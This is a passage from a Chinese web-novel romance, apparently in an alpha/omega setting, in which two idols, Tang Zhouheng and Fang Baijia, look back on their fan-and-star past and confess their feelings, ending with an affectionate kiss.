后来他总算把这件事想明白了,于是决定转换策略。 不管怎样,好人做到底,送佛送到西。他当初既然决定帮对方,就应该要从一而终。 汤昼恒开始在暗中默默关注方柏嘉。 唐女士隔三差五会告知他方柏嘉在月考上的表现怎样,评级排名如何,得到了哪位老师的赞扬这类的官方消息。 除此之外,得知秦高阳也要去参加训练,汤昼恒同样也让对方帮忙看看方柏嘉和其他练习生相处如何,在日常生活中有什么需要帮助的地方。 ……汤昼恒一度觉得,自己和方柏嘉的交集也就到这儿了。 他能做的本就有限,除了尽量拜托人关照方柏嘉外,此后对方是真的顺利出道,还是在合约结束后另寻他路,都不是自己能干预的事。 ……直到有天,唐女士和秦高阳因为同一件事找上他。 “噢哟,你托我照顾的那位小朋友好像要把自己养死了。” 秦高阳在聚餐时这么对汤昼恒说。 “他啊,为了给猫治病,据说是把以前打工赚的钱都花得差不多了。这只猫最近在找领养,我看他挂了快一个月都没送出去。问了一下,这段时间猫一直养在医院,住院费一天五十。” 汤昼恒接过对方递来的手机,看了眼里面的橘白色小猫,瘦巴巴的身体上是四条细树枝一样的腿。 比他第一次见到方柏嘉时看着都要可怜得多。 汤昼恒很快动起收养的心思,毕竟他已经养了这么多猫了,多一只不多。 关键是,要怎么办成这件事。 汤昼恒并不想直接出现在对方面前: 方柏嘉先前的行为,是一种无言的拒绝,已经足够表明态度。如果他贸然出手,很可能会吓到对方,从而暴露一切—— 毕竟哪有那么巧的事,方柏嘉前脚才在网上和他对话,后脚没过几个月,就又碰上汤昼恒本人。 得让人替他出面。 刚好骆察最近也在首都,汤昼恒便叫他充当领养人,秦高阳作为“中介”,把猫接了过来。 为了保险,他让秦高阳给对方留的联系方式也是汤昼恒自己的小号,方便后面联系沟通,也免得方柏嘉起疑。 一下就是五年。 这期间,汤昼恒和方柏嘉的关系始终不咸不淡,像隔了层说不清、道不明的挡板。 方柏嘉看起来不想和他深交,汤昼恒也没有自找没趣的习惯,这几年都只和他保持在正常的同事关系。 ……然而他表面上云淡风轻地说不怪对方,又怎么可能真的一点感觉都没有。 选择向一个人伸出援手,施与好意,这个举动中本身就暗含有一种希望得到回报的期待: 想要被人感谢,满足虚荣心和被需要的需求也好,通过做好事方式达到对自我的认同也好,抑或是想巩固提升自己在对方心中的形象,让对方更加喜欢自己也好—— 方柏嘉的反应却让他的这份“期待”落了空。 汤昼恒可以理解方柏嘉因为担忧而在他面前隐瞒自己的身份,也可以配合对方装出互不相认的戏码。 他不明白的是,为什么在这之外,方柏嘉依然对他如此冷淡。 “我唯一能想到的可能,就是你变心了。”汤昼恒用平静的语气说出带有谴责的话语。 尽管他依然不清楚自己做了什么导致了这样的结果,不过很明显的,方柏嘉对他的那种感觉淡去了。 也许对方的喜欢仅仅只局限于他在网络上的形象,真实接触后,发现汤昼恒并不如自己想象的好,“祛魅”了。 也许方柏嘉已经过了会真情实感喜欢明星的年龄,毕竟后来他自己也出道了,早就不是当初那个需要在虚拟世界里寻找精神支撑的方柏嘉。 他的生活过于充实,充实到已经放不下一个汤昼恒。 甚至,可能喜欢上了别的alpha。 ——方柏嘉在易感期当着他的面叫出那声“老公”时,汤昼恒就是这么想的。 方柏嘉第二天说他认错了人,更是肯定了汤昼恒的猜测。 方柏嘉移。情。别。恋。了。 “等等。”听到这里,方柏嘉忍不住打断对方。 他下意识跟着重复一遍,好像在期待汤昼恒能否定他似的:“……你觉得,我喜欢上了别人?到什么时候?该不会——” 方柏嘉忽然意识到了什么。 他就说自己自从知道汤昼恒就是“丑猫爱好者”后总觉得有哪里怪怪的。 已知,账号皮下和他聊天的就是汤昼恒本人,再已知,对方那天在游戏房间谈完话后就对方柏嘉展开了攻势,那么汤昼恒应该不存在如方柏嘉之前所想的要摆脱他的想法。 ……那这个人当时一直在那儿暗暗打探方柏嘉的感情情况,还劝方柏嘉另外喜欢别的人是怎么回事? 甚至不惜说了他自己的坏话。 这和对方的动机不符。 除非……汤昼恒根本就不知道他喜欢的人是他。 这样一来,对方几个月前所有看似“渣男”的举动都有了解释。 那次汤昼恒一定执着地要知道方柏嘉口中的“老公”是谁,原因也很明显了。 方柏嘉下意识觉得不妙,震惊又茫然地问:“你觉得我喜欢谁啊?” 汤昼恒的眼神再度变得幽深。 “你觉得我会以为你喜欢谁?哪个alpha那时候和你走得近?” 方柏嘉动用大脑,飞快地思考一圈,脑海中不可思议地浮现出一个人影。 “该、该不会是那个谁吧。”他说这话时的嗓音都在颤,“你说的难道是李子……” 最后一个字还没念出来。 方柏嘉一看到汤昼恒的神色,就知道自己说对了。 他上一秒还在懵逼,下一秒就差点要从沙发上跳起来:“哥哥!你想什么呢!我……他……” 方柏嘉的面孔肉眼可见地在汤昼恒眼皮底下变得红润,最后憋出来一句:“谁会喜欢比自己矮还没自己有alpha气概的1啊!” 他眼光没有那么诡异的好不好! 汤昼恒面无表情:“你说的这些,我上哪知道去。我只知道某个人出道后就一直刻意和我保持距离,除了这个原因,我想不到别的。” 方柏嘉:“…………” 他怎么觉得,汤昼恒的语气有点……幽怨? “可是,可是——”方柏嘉还想为自己狡辩,“可是我明明前面也有很多表现啊,比如,嗯,我很容易因为你心跳加速,这你都是知道的。” “那顶多只能说你对我有生理感觉。”汤昼恒脸上依旧没什么波澜,看起来有点不屑,“只有直A才会得到一点信号就自恋地觉得别人都喜欢自己。我又没那么自大。” 方柏嘉:“。” 好、好像说得还挺有道理。 他彻底落败,整个人都傻了,好一会儿还沉浸在“自己居然会被认为喜欢李子晋”这种诡异可怕的真相里,起了一身鸡皮疙瘩。 过了数秒,又觉得很奇怪:“所以,你究竟是怎么喜欢上我的啊?既然你都觉得我‘变心’了。” 汤昼恒不动声色地反问回去:“那你呢,你又是因为什么喜欢我?” 方柏嘉不假思索地道:“因为你很好啊。” 汤昼恒对他的回答并不满意:“就只是很好?” 这和给他发好人卡有什么区别? 方柏嘉瞪大眼睛:“……‘很好’很厉害的好不好!” 汤昼恒仍没说话。 方柏嘉见状,知道必须得用点特殊手段了,只好故意对他撒娇:“——老公老公,你可以和我讲讲你从一群小狗里选中我的故事吗?” 他连枕头都扔到一边了,猛一下伸手搭住汤昼恒的肩膀,把头埋进他的颈窝,鼻尖贴着对方的锁骨。 “……” 这人怎么还主动狗塑自己。 汤昼恒没忍住笑出声:“哪来的一群小狗,有你一个就够让人操心的了。” 一只手忽然从前额探进方柏嘉的发间,五根修长的手指齿梳般顺着发缝向后捋,直到露出这人光洁的额头和浓密的发际线。 没有刘海的方柏嘉看上去还要年轻好几岁,跟着他的动作向后仰头,短促地“啊”了一声,不知道是因为对方的动作,还是他说他让人操心而感到不满。 汤昼恒很快把手收回来,说:“你让我想想。” 倒不是他不想说,但关键是,事情该从哪里讲起? …… 汤昼恒对方柏嘉的第一印象,就是那个在网上总是管他叫“老公”的、很特别的粉丝。 最开始认识他的时候,汤昼恒还没满十八岁。 虽然也演了些以懵懂的青春期情愫为内容的电视电影题材,但毕竟是未成年,粉群中又多是一些年纪比他大的姐粉和妈粉,大家整体呈现出来的态度都很保守肃穆,对他的称呼也是“小汤”“汤汤”“小恒”之类的叫法。 只有方柏嘉,仗着自己年纪比汤昼恒小,一声声老公叫得肆无忌惮。 那会儿的汤昼恒就像他之前说的那样,还不火,会定期上去看看大家的评论和私信。 几乎是轻而易举地,他就注意到了这个与众不同的粉丝。 那几年微博上还没出访客功能,他在有天看完方柏嘉的私信后顺手点进对方的主页,差点被那上面的转发文字闪瞎眼。 【感觉老公的下颌线和我的大腿内侧特别契合[心]】 【让我谈到我将拍摄O性向】 【一想到这辈子都亲不到老公帅气的脸蛋我就 #头晕 #恶心 #想吐 #发烧 #身体不适 #低血糖 #过敏 #胸闷气短 #焦虑不安 #浑身难受】 …… 也许是预设了汤昼恒还是有那么0.01%的概率打开他的信息的可能性吧,方柏嘉的私信其实要比他的主页收敛很多,搞得他差点没反应过来。 汤昼恒定睛一瞧,这个人的账号显示的性别居然是alpha。 他一开始以为对方是瞎填的资料。 直到看到方柏嘉在私信里提到要打工赚钱买A用的抑制剂和阻隔贴,提到高二赶不完的课业和补不够的觉,汤昼恒才意识到,原来这人真的是一个比他年纪还小的alpha。 透过那些偶尔传来的有关对方自己的只言片语,汤昼恒渐渐拼凑出方柏嘉的形象。 他看到他对自己的喜欢,他的忧愁,他的困惑,他的烦闷,他迷茫的十六七岁的雨季。 看着他旁若无人地倾诉着自己的喜怒哀乐。 渐渐地,汤昼恒开始越来越关注这个人。 在生活中一些一闪而过的片刻里,他会思考这个小粉丝的生活进展得如何,是不是又因为打工太晚导致作业写不完,第二天早晨在课上睡觉;或者被抠门的亲戚克扣了后爸给他的生活费。 他看到他上线的时间越来越少,就算偶尔登上微博,也只是来吐槽两句发生在自己身上的事。 再然后,方柏嘉突然消失了。 汤昼恒心里出现了些不好的猜测,甚至想过要不要发信息问问他,又担心这样太唐突。 直到某一天,方柏嘉忽然原地“复活”,给他发了好多信息。 汤昼恒这才得知他被家里停了所有费用,一个人来首都打工,已经在这边待了快半个月了。 那天正好是汤昼恒的生日。 他刚和经纪人开完会,扭头就得知方柏嘉在楼下的快餐店准备过夜的消息,汤昼恒立刻做出决定,打算下楼一趟。 首先,确定方柏嘉确实在那里,处境和他说的一样。 其次…… 其次要做什么,汤昼恒还没想好。 等他反应过来时,自己已经站在了下行的电梯里。 走出公司大门,距离快餐店还有十多米远的时候,汤昼恒一下就注意到了那个坐在灯火通明的餐厅里的男生。 隔着巨大的落地玻璃,他看见一张空气般明净澄澈的脸。 那一刻,汤昼恒隐隐有所预感,这应该就是他。 尽管对方给人的感觉和他印象里不太一样。 汤昼恒很少想象别人的样子。在私信里,也只是觉得方柏嘉是个有点古灵精怪的、有时候有点脾气的alpha。 方柏嘉现实里看着其实很冷,长着一张不苟言笑的、让人觉得叛逆又不好惹的精致的脸。 汤昼恒没想过他会长得这么好看。 他站在街上观察了方柏嘉几秒,扶了扶脸上的口罩,推门进去,在店里找了个隐蔽的角落坐下。 方柏嘉在低头做试卷,因此没看见那个一身黑的、高挑得吓人的身影。 汤昼恒给他点了餐,发了信息,让保洁员去叫醒趴在桌上准备睡觉的男生。 看见对方懵然又状况外地看手机的样子,他就知道自己没认错人。 然后他开始思考,自己到底要怎么帮助对方。 汤昼恒的脑子里很快冒出一个主意。 “……怪不得。”方柏嘉说,“我就说你怎么就听了我一首歌就劝我去你们公司了,原来是知道我长什么样。” 他装模作样地哼了一声,仿佛在摇尾巴似的,有点得意起来:“本人确实长得很有姿色。” 汤昼恒淡笑着附和他:“你是很好看,性格很可爱,很坚强。像自己一个人在外面流浪也能把自己照顾得很好的小狗,有着非常旺盛的生命力,在很努力地生活。我就想,要是能帮到你什么就好了。” “……”不知道为什么,听到这里,方柏嘉的鼻子竟然又酸了酸。 他有些夸张地皱了下鼻子,谴责般地忽然提高嗓音道:“什么啊,你居然说我是小狗!而且居然把我很好看放在第一个说……” 方柏嘉停了停:“你该不会一开始就对我见色起意吧?” “。” 汤昼恒提起嘴角笑了笑,没有多说什么。 而是又将方柏嘉揽进怀里,抓起他那只刚刚还在自己胸口作乱的手,和他十指交扣。 突然看似漫不经心地话题一变,转到一个完全意想不到的地方:“你应该知道,我来自小地方的乡村。” 汤昼恒家里的条件一般,父母在他很小的时候就外出打工,汤昼恒是留守儿童,由家中的亲戚帮忙养大。 他对自己出生地的第一印象,是从屋子里出门左拐就是稻田;是村子里唯一的娱乐活动就是到大路上去赶集;是他到了十几岁时,每周日要坐两个小时的车去镇上的九年义务教育学校上学,直到下周五才回来。 那里的学生绝大部分上完初中就会出去打工,校园里的氛围差得一塌糊涂,老师唯一的目标就是让他们不在这个年纪通过怀孕和打架的方式弄出人命。 汤昼恒很小的时候就觉得自己和这里的人不一样。 他每次走在路上,脑海里都会冷不丁在想: 那些站在学校的门口聊着黄段子抽烟,坐在破旧的网吧里骂着脏话吞云吐雾,到了一定年纪就去电子厂做工的人,知道自己未来的人生道路一眼看得到头吗? 难道我的这辈子也就这样了吗? 他在乡下一直生长到13岁。 命运的转折点就在这年,有知名导演到他出生的地方拍摄电影,想在当地村里选一些原汁原味的中学生入镜,汤昼恒赫然在列。 好看的人从小就好看到大,饶是当时刚上初中的汤昼恒,看起来也和周围其他小孩不一样。用周红绮的话说,是那种一打眼就知道长大了会是个大帅哥的长相。 周红绮——山川相缭的老板,曾经的omega大花,在剧组一眼就看中了汤昼恒,认为他是一个好苗子,在和当时的公司确认后,问他想不想和自己一起去首都。 亲戚们都劝汤昼恒别去。他是小地方出来的小人物,怎么能梦想成为大明星? 在他们的描述中,首都变成了由金属森林铸成的猛兽,随时会把汤昼恒吃掉。 可谁也劝不动十几岁的男生想出去闯一闯的决心。 汤昼恒义无反顾地投入了大城市的怀抱。 起初的一切对他来说都还很陌生,也很让人兴奋。 然而汤昼恒逐渐发现,事情没有那么简单。 周红绮牵线把他签进公司,自己却也只是听公司安排的演员,没太大话语权。 后面的好几年里,汤昼恒都只能演一些边角的小角色,其中也不乏快开拍时被人换下来,或者因为没名气而被刁难的情况。 他就这么始终保持在不温不火的状态,偶尔有那么一部剧有了水花,带来点些知名度,大多又都因为后续资源没跟上,再度慢慢沉寂下来。 一直到十七岁,周红绮攒够人脉,出来自立门户单干,顺道把汤昼恒也带走了。 “那两三年,我都生活在一种有点混沌的状态里。”汤昼恒说。 那段时间的他,其实是有些失去动力的。 他雄心勃勃地来到大城市,想要崭露头角,以为是金子总会发光,自己生而不同。 可是首都遍地是黄金。 四年的职业生涯,让他变得比同龄人都远要早熟。汤昼恒兜兜转转,却觉得自己还在原地踏步。 汤昼恒开始怀疑自己的选择,不明白他到底在干什么。有时候甚至在想,是不是当初不和周红绮一起来首都,没有见过这些世面,他的人生反而会快乐很多。 跟着现老板走,也并非觉得自己从此就会飞黄腾达,只是看准了前公司大概率会将他一直放养到合同结束。 “然后我就遇见了你。”汤昼恒道,“你还记不得在首都看电影的那次,我说过对你在其它平台上的影评账号印象很深?” 方柏嘉不知道他为什么突然提起这个,有点尴尬道:“怎么了?” 汤昼恒只是摇摇头。 网络上的方柏嘉有点泼辣,也很鲜活。 会在汤昼恒的私信里像所有粉丝一样鼓励和夸赞他,转头又在影评APP上毫无顾忌地抒发自己的真实想法。 他该怎么和方柏嘉说,那会儿的他竟然感到一种……汗颜。 好像忽地就被点醒了。 汤昼恒想,自己实在接受到太多人无条件的善意和包容。 出道四年,他自认没有做出什么大的成绩,可还是有人因此将他奉为偶像和精神支柱,那种纯粹的喜欢,有时甚至让他无地自容。 “于是我就在反省,我为什么会怀疑这些?为什么我得到的没有自己想要的多,就觉得这一切都是不值得的?难道我没有过上更好的生活吗,我的人生没有因此变得更有意义吗——我没有给其他人带来意义吗?” 汤昼恒语气平静,如同沉甸甸的溪水在缓缓流淌。 方柏嘉不禁抬头,目光紧紧地追随他。 汤昼恒看到方柏嘉的第一眼,就知道他可以走这条路。 那个念头迅速出现在他脑海里,像一道闪电,长期浸淫在娱乐圈中的眼睛让他下意识做出判断。 但紧接着,另外的念头就闪现了。 ——这样的建议,真的是合适的做法吗? 他会不会从此将对方引上一条“不归路”,自己是否真的可以为这人后面发生的一切负责? 汤昼恒:“你的出现突然就让我意识到,这就是我做出那个决定的原因。即使我不当这个艺人,肯定也有无数个人补上,那些我原本的粉丝会去喜欢别人。但既然我就在这里,在当下的时间,为当下喜欢我的人做出我能做到的事,这就是我被赋予的意义。” “如果当时我因为一时的退怯而没去首都,那么我就不会坐在快餐店纠结一个或许能改变他人命运的事,我就不会遇见你,不能给你提供帮助——每一个迈出的脚步,都是值得的。” 面临着一潭死水般的生活,选择改变和挑战,不一定会走向成功。 但选择不变,那才是真的一眼下去就能望到头。 这是汤昼恒在那时领悟到的内容。 于是一年过去,当周红绮提供给他两个选择,一个是继续拍戏,但依旧不会是公司主捧,另一个是去参加公司即将举办的男团成员选拔赛,搏一搏出路,汤昼恒经过一番考量,最终还是选择了后者。 就这样赌一把吧。他想。 然后,他们一起出道了。 再然后,汤昼恒发现方柏嘉对自己的态度很冷淡。 现在想想,汤昼恒就是在那会儿,发现自己的心理其实很奇怪的。 对于他来说,方柏嘉这个人,同样在他的生活里具有意义。 所以当他猜到方柏嘉可能喜欢上别人时,汤昼恒既矛盾地想知道那个人到底是谁,又不想知道。 如果对方比他好,他会不快。 如果对方没有他好,他却被这样的人比下去顶替了,汤昼恒照样不会觉得愉悦。 很难说这样的心态究竟出自什么。 Alpha不容他人入侵的自尊与领地意识?刻入骨血中的好胜心和征服欲? 太多太多这样的思绪填充着他的大脑。 那段时间,汤昼恒一直在怀疑和思考。 明明前后只有那么短短的一点时间间隔。 为什么方柏嘉就不再喜欢他了。 ——为什么不能继续喜欢他呢? 在汤昼恒思考出这些问题的答案,顺便想明白自己为什么会这么在意之前,他的目光已经在不由自主地注视对方了。 于是就这样,从看着他,到一直看着他,只看着他。 “我知道,我在网上看过。”方柏嘉一本正经地说,“这是一种不想别人‘脱粉’的心态。” 习惯是种可怕的东西。 被暗恋者之所以喜欢上暗恋者,往往是因为接受不了这种身份上的错位。 于汤昼恒而言,方柏嘉是自己亲手“带”回来的人,他理应对他负责。 某种程度上,就像方柏嘉也会为了自己路边遇到的小流浪猫几乎花光身上的钱一样,将比自己弱小的生物划入保护范围,对其施以关心和帮助,是不需要有明确动机就可以发生的事。 但在这背后,或许隐隐还有一层别的缘由。 责任感与占有欲,就像一枚硬币的两面。 热情与缺少边界,也往往只有一线之隔。 长久投注在自己身上的目光消失了,就像原本被填充得很满的地方多了份空缺,前后的落差感大到让人想不在意都难。 见过方柏嘉太热烈认真地喜欢过自己的样子,所以很难再真的将他当做完全无关紧要的陌生人。 于是就这样渐渐的,从被注视的一方,变成了注视的一方。 汤昼恒听了方柏嘉的话,禁不住呵笑:“你怎么不说,是捡回来的小狗不亲自己的挫败呢?” “……什么啊,哪有这么说别人的。”方柏嘉不悦。 什么捡回来的小狗,难道汤昼恒觉得自己是小狗饲养员? 汤昼恒扬起一侧眉梢:“这不是你刚才自己讲的?怎么,现在你要反悔?” “……那,”方柏嘉的声音小了下来,转移话题,“小狗不亲你,你也可以不养啊。为什么还要对他那么好。” 他悄悄抬眼,打量汤昼恒的神色。 汤昼恒沉吟了几秒,问他:“你养过动物吗?长期接触过的,只是短暂经手的不算。” 方柏嘉摇摇头。 汤昼恒的表情柔和下来:“养过动物就知道,他们是有天性的。当你刚开始收养一只流浪猫,你会明显地观察到,它最从初的警惕,到慢慢对你变得放松的过程。先是可以让你摸,到逐渐可以被你抱着,再到晚上会主动陪你睡觉,向你露出它的肚皮。感受到它每一天都比前一天对你变得更加信任和依赖,是一件很有成就感的事。就算中间偶尔用爪子抓伤了你,你也知道那不是它的本意。” 他说着,同步地拿起方柏嘉的一只手,捏肉垫似的按着他手指末端的关节。 没把剩下的话说出口—— 既然如此,那就想办法让他的目光继续看着自己吧。 反正无非是再养一次。 有时候,汤昼恒的身上会有种近乎可怕的异样执着。 “……” 方柏嘉睁大双眼佯怒,怀疑汤昼恒在内涵自己:“你真把我当小狗养啊!” 汤昼恒但笑不语。 方柏嘉也没真的生气,过了两秒,照旧老老实实趴回他的怀里,想了想说:“所以你那时决定介绍我来公司,是因为看到我,就想到了以前的你自己吗?” 汤昼恒的反应算是承认:“嗯,我觉得应该把这个我曾经面临过的机会和选择权交给你。” “我明白的。”方柏嘉沉默了良久,突然深吸一口气。 “跟我一起去节目的那个师妹,你还记得吧?” “嗯?”汤昼恒用疑惑的视线向他表示,怎么了? 方柏嘉把对方当初来找他帮忙听歌的事简单说了一遍。 “你知道吗。我当时一下就想到你了,哥哥。” …… 究竟是什么时候喜欢上对方的呢? 有时候,方柏嘉也会忍不住地想。 一开始,他对汤昼恒应该只是那种粉丝般的感情。 和世界上绝大部分的明星追随者一样,刚好发现一个长得对口味的帅哥,可以免费欣赏他的美色,满足他的一些幻想,又刚好在他最烦闷、最需要精神抚慰的时候出现。 仔细了解一下,人品、性格言行、演技也都很不错。十分完美的理想型一样的存在。 但要说爱得有多深刻特别,大概也是骗人的。“老公”同样只是一种娱乐性的说法,没有真的一定想和他谈恋爱的意思。 直到他逐渐深入地了解了汤昼恒这个人。 作为很小就进圈了的艺人,汤昼恒的履历在网上近乎透明,随便一搜就能搜到。 顺着其他粉丝整理的考古链接,方柏嘉很轻易就找到最初那部让他和娱乐圈结缘的电影的拍摄花絮。 那里面的汤昼恒还保持着最原始未经雕刻的样子,少年人清癯的身体撑得住宽大的白衬衫,优越的面部骨骼已有了未来六七成的轮廓,对着镜头开口时一板一眼的,因为思考而语速很慢,咬字像水果茶里有嚼劲的马蹄爆珠,有着在长大后的汤昼恒身上绝对看不到的拘谨原生态。 这是所有汤昼恒的粉丝都知晓的,却会让第一次了解他的人大吃一惊的事。 因为后来出现在大众视野里的汤昼恒,早已看不出哪怕一点生涩的影子,谈吐文雅,温和大方,无论如何都像一个书香世家里出来的公子哥。 谁也想不到,他的起点居然在中国南方一个落后的小乡村。 ——从小地方来的,在广袤的大城市追寻人生和梦想的男孩。 汤昼恒自己很少在媒体面前明说,但方柏嘉也不难想象。一个从农村出来的十岁出头的男生,刚到人生地不熟的繁华都市时会有多迷茫。 他又要吃过多少苦头,才会变成如今这副干什么都手到擒来、游刃有余的模样。 从一开始的青涩懵懂,再到后来的平稳从容,像把自己塞进蚌壳里不断打磨的珍珠,直到圆润通透,没人知道他的来时路。 强大的共情能力让方柏嘉完全能想象出汤昼恒一路走来的不易。 对方没有因此变得性格乖僻或是虚荣,而是很健康地成长了。 这一点让方柏嘉感到惊叹和佩服。 他对汤昼恒的感情中有一些欣赏,一些崇拜,一些同病相怜,一些艳羡和仰慕。 这当中甚至还混杂着一丝丝的……嫉妒。 嫉妒他明明也算天崩开局,现在却也混出了人样,性格又这么好,这么大方温柔,有这么多人喜欢。 就连方柏嘉自己也喜欢他。 Alpha之间总是可以很轻易地激发出骨子里的竞争欲。 汤昼恒不仅仅是方柏嘉对自身性向的启蒙和幻想对象,也是他的目标。 在他眼里,汤昼恒大概就代表他期待的某种生活,寓意一个已经挣脱出现状的自己。 他想成为对方那样的人。 ……虽然有时候,方柏嘉也会凭借他的生活经验阴暗地怀疑一下,对方这么做会不会是故意打造出来的人设。 他始终觉得,网线对面的人不可能真正关心一个陌生人的境遇,哪怕对面名义上是他的粉丝,那也只是出于偶像的身份不得不逢场作戏的考量罢了。 可是汤昼恒真的关心。 公司楼下快餐店的那一夜,让他知道他的猜测都是假的。不管别人怎样看他,汤昼恒都是汤昼恒。 想到这里,方柏嘉抬起头和汤昼恒说:“我一开始的时候,其实拿你当榜样来的。” 汤昼恒挑挑眉,看起来并不太信:“拿我当榜样,结果就对我那样?” “……” “因为我会害怕啊。”出乎意料的,方柏嘉轻声地说。 成熟、稳重、有爱心、性格稳定、人很风趣。合作过的演员都这么评价汤昼恒。 或许对于有些人来说,这是很无趣的品质。但只有像方柏嘉这样在泥泞中挣扎过的人才明白,要变成这样有多不容易。 汤昼恒健全得让他羡慕,有时候还会突如其来地恼怒。 很久以前,他就在微博上这么写过:【爱上老公就像吸血鬼爱上太阳,再怎么喜欢,也知道自己一靠近就会暴死。】 这样的话题,方柏嘉之前在咨询李子晋情感问题的时候也和他聊过。 说自己明明和汤昼恒关系一般,甚至不时给他找麻烦,可对方居然对他还是很好,简直莫名其妙。 当时李子晋给他的评价是:“孙少安型人格。” “?” 方柏嘉道:“什么意思?” 李子晋在手机里有模有样地学起来:“意思是——秀莲,你对额好得太过分额也要捶你!!!” 方柏嘉:“……滚滚滚滚滚滚!” 他骂了对方一通,最后无精打采地道:“你是不会懂我们阴暗逼的。” 仔细想想,这件事确实很讽刺。 明明起初很大一部分原因就是因为他的性格才喜欢他的。 如果不是汤昼恒对谁都很好心,当时还在快餐店里过夜的方柏嘉又怎么会因此改变人生。 可真的喜欢上他后,方柏嘉又开始看不惯他的好心了。 对谁都好,那不就是对谁都可以? 他凭什么对谁都那么好,那让方柏嘉这种因为得到了一缕阳光就对他念念不忘结果发现太阳普照万物的人该怎么办? ……可他又凭什么因为阳光不独照自己一人而愤怒? 方柏嘉一度觉得自己快要精神分裂。 这种状态一直蔓延到出道后。 很长一段时间,他对汤昼恒的看法都是复杂的。 他之于对方的喜爱其实并没有那么纯粹——或者说,并不全是喜爱。 即便是喜欢alpha的alpha,在面对一个符合自身审美的同类的时候,所体会到的第一种感觉可能都包含着情不自禁的比较和不甘。 我拥有的能力并不比你差,我能达到的高度未必不如你。 ……所以你为什么不能喜欢我呢? 抱着这样说不清、道不明的心理,方柏嘉有时会试着找对方的茬,试图通过这种截然相反的方式证明汤昼恒也不是对谁都好的,他也会不耐烦,会生气。 方柏嘉感觉自己就是一只阴暗爬行的比格,他的所有小动作小心思都被汤昼恒全方位防御了,不管他做什么,都像一拳砸在棉花上;无论他怎么挑衅,似乎都激不起对方的波澜。 他的一切的一切在汤昼恒健康稳定的性格面前显得都是那么不值一提。 在觉得自己可以和他比肩之前,方柏嘉根本无法坦然面对。 …… 直到那一天,公司里的师妹在录音结束后过来找他。 方柏嘉恍惚间好像看到了曾经的自己。 在那一刻,他忽然就醒悟过来并思考,汤昼恒当初之所以对他一个籍籍无名的粉丝这么在意,是不是因为自己刚好也让对方想到了他过往的遭遇? 他也曾遇到过另一个这样的“汤昼恒”来劝说他下定决心吗? 所以他才觉得自己此刻的建议是合理的,可行的,希望能因此而帮到对方,就像他当初被人带出南方的山村一样? 看着师妹小心翼翼的面孔时,他冷不丁就理解了那时的汤昼恒。 一个人站在终点回望过去,会发现走过的路是单行道。 但站在十几岁的年纪向名为未来的远处眺望,一切又都那么前途未卜。* 汤昼恒站在自己经过的道路上,远远地向他招手。告诉他,过来吧,这样的路我已经走过了。我没有后悔,你呢? 于是当他来到和对方同样的位置,也同样自然而然地做出了这样的举动。 那个瞬间,方柏嘉感觉自己好像和某一刻的汤昼恒共感了。 也明白了对方那时的用意。 那天晚上,他回去又用小号发了一条微博。 【曾经我以为,我和他之间就像是太阳和吸血鬼,是一个白日一个黑夜,无法相处于同一片天空下的关系。可是不知不觉,我好像也反射到一点太阳的光辉了。】 能在夜空中散发光辉的不只有太阳,还有月亮。 不一定非要照耀得那么灼烈和滚烫,也是另一种不同的风景。 “是你给了我勇气。”方柏嘉喃喃地低声说,“无形中带领我到现在。” 汤昼恒是他的幸运星,是他的引路人,和指南灯。 方柏嘉在不知不觉中,沿着他曾经踩过的脚印一路前行,站到了他的身边,然后才明白过来,原来他已经不知不觉变得和对方一样。 这个想法让方柏嘉整个人都变得轻盈起来。 “……一直都很喜欢你啊。” 想到这里,他抬起头,冲着汤昼恒微微一笑。 “遇到你之后,我的人生就变得幸运了。” 大城市寸土寸金,向无数风尘仆仆赶来的人敞开怀抱。大家都说首都留不住人,可或许是方柏嘉没在它这儿吃过太多的苦,还是觉得这个地方很有人情味,也很温柔。 在夏夜走过杨柳依依的湖边,风会把人吹去他想去的地方。 后来他发现,汤昼恒就是那股风。 在他以为汤昼恒对谁都一样的时候,某天回首,却惊奇地发现,原来汤昼恒在暗中为自己做了那么多。 就连方柏嘉曾经没完成的善意,他也好好地替他保存并做到了。 听了汤昼恒说过的那些话,方柏嘉的脑海中自动脑补出一只毛绒英俊的高大伯恩山忧郁失落的样子,毛发好像被雨微微打湿似的耸拉下来,尾巴也垂在地上。 ……虽然有些自责,但是又有点窃喜和得意是怎么回事。 方柏嘉还来不及分析自己的心理,就忍不住把心里话说出了口。 他直勾勾地看着汤昼恒,冷不丁来了句:“好爽啊。” 汤昼恒:“?” Alpha从沙发上坐起来,顿了顿,意味深长、又难得有点不满地说:“你就这样以我的‘痛苦’为乐?” 他特意在某两字上加了重音,但语调轻快上扬,听得出来没有真的生气,“痛苦”也只是夸张说法。 “没有啊——”方柏嘉听了连忙摇头,为自己正名道,“我很心疼你的。” 仿佛为了印证自己的话一样,方柏嘉也跟着坐起身,双手环住汤昼恒的脖颈就靠上去,一条腿紧跟着一抬,跨/坐在对方身上,低头对着alpha暖热的嘴唇就是一吻。 “怎么办啊老公,听起来好可怜。” 他这样道,换个方向接着亲上去,这回停留的时间长了一些,唇瓣紧贴着磨蹭了好几秒才松开。 方柏嘉双手捧住汤昼恒的脸,掌心在他两侧的面颊上摩挲几下,揉大狗似的。 汤昼恒眼神凉凉,目不转睛地盯着他,眯起眼睛:“可我怎么听你的语气还很愉悦?” “有吗?”方柏嘉眨了眨眼,因为被人看出来而有点不好意思似的,但也没否认。 “因为我太开心了嘛。” 他说着,双臂从汤昼恒的后腰与沙发间的空隙中环绕过去,紧紧抱住他的身体,将头枕在汤昼恒的肩上。 “开心?” “对啊。”方柏嘉轻声地应,忽然又抬起一只手,食指的指尖缓慢地在对方的胸口上画圈。 “知道你这么在乎我,暗中注意我……我就很高兴。” 那力度太轻,也太痒,酥/酥/麻麻的触感顺着神经末梢传开,汤昼恒不等他多画两圈,就猛地抬手攥住他的手腕,示意方柏嘉道:“别乱动。” 方柏嘉抬起眼,只笑眯眯地看着他。 他一直以为,自己对汤昼恒的喜欢只是无数爱慕他的人中并不起眼的一个,像蜻蜓点水一样,不过短暂地在他生活里引起一点涟漪,马上就会消失不见。 可他不知道,这些涟漪存在的时间远远超过了自己的预料,竟然数以年记。 像树的年轮,随着年岁不断增长,每过一年,就多一圈,直至彻底占据对方心间,生长成一棵苍绿的树。 …… 曾经的方柏嘉多么害怕被太阳灼伤。 然而当他终于抵达到这颗他曾远远眺望过的天体身边,感受到的却只有温暖。 如今,方柏嘉也见证并得知了对方不为人知的、属于炽盛星球的阴暗面。 方柏嘉不觉得失落,反而更加惊喜。白日的太阳总以其完美的面容示人,而现在,方柏嘉终于也拥有了它沉入地平线下后的沉静时刻。 那是日与月殊途同归的交汇之际。 汤昼恒眼睑轻颤。 